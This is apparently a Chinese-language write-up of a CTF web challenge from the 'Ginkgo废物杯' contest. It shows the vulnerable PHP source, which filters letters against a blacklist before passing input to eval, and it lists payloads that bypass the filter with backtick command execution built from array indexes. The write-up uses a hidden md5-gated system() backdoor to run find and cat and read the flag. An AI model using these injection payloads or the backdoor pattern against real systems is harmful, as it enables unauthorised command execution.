Ginkgo废物杯 web1高地 复现

```
<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        die('nonono');
    }
}
eval("echo($code);");
?>
```

payload:

```
http://47.102.141.139:20021/?code=`$_[13]$_[18]` //ls查看目录文件
http://47.102.141.139:20021/?code=`$_[13]$_[18] -$_[0]`  //ls -a查看隐藏文件,有一个.commmon_config.php
http://47.102.141.139:20021/?code=`$_[2]$_[0]$_[19] .$_[2]$_[14]*`  //cat .commmon_config.php在源码里看到文件内容
<?php
    if(md5($_GET["Ginkgo"])=="971020ee4be5aae6e868ba6a26c97729")
    system($_POST["readflag"]);
    ?>
解md5是Ginkgo,文件包含解
http://47.102.141.139:20021/.commmon_config.php?Ginkgo=Ginkgo
post:readflag=find / -name "*flag*"
有个 /tmp/log/Th3_T4re_flag.txt 文件
post:readflag=cat /tmp/log/Th3_T4re_flag.txt
```

flag{fd628d98-41b6-4812-9005-87ce2babb1a4}